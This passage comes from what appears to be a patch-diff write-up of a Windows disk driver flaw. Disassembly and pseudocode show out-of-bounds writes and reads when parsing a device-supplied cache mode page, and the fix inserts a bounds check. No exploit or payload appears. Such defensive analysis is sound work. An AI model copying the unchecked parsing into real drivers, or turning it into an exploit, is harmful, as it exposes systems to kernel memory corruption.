&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010DA4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x2 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010DE6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x3 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E0A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x4 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x5 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E16&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x6 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E1C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x7 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E22&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x8 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x9 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ah&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0xA (conditional) ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010E3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Bh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0xB (conditional) ***&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched equivalent — inserted bounds check at &lt;code&gt;0x1C00132B1&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001329E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; rdi = mode_page_ptr&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132A4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00132B1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C00000BBh&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; NULL -&amp;gt; bail&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132B1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; ecx = search_len (min(data_length, buffer[0]+1))&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; rax = mode_page_ptr + 12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; rcx = buffer_start + search_len&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; *** BOUNDS CHECK ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0013300&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; ok -&amp;gt; proceed to the writes&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000001h&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_UNSUCCESSFUL&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00132FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0013485&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; bail before any write&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The added block is the entire fix — the same &lt;code&gt;add ptr,0xC; add base,search_len; cmp; jbe&lt;/code&gt; guard applied to the write path, turning an unconditional trust of the device-supplied descriptor position into a verified access before the field stores.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt; — Mode Page Cache Parser&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== SHARED PROLOGUE (identical) =====&lt;/span&gt;
&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNxCacheAligned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;ScDC&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;data_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClassModeSense&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device_ext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* retry path, omitted */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;header_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UINT8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;search_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;header_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClassFindModePage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;search_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_UNSUCCESSFUL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ===== UNPATCHED — proceeds directly to field reads =====&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;WriteCacheEnabled&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// +0x0&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;WriteRetentionPolicy&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// +0x2&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FlushCacheEnabled&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// +0x2&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;WriteCacheType&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// +0x3&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;WriteCachePolicy&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// +0x3&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CacheSize&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BE16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// +0x4, +0x5  *** OOB ***&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;PrefetchSize&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BE16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// +0x6, +0x7  *** OOB ***&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MaximumCacheSize&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BE16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// +0x8, +0x9  *** OOB ***&lt;/span&gt;
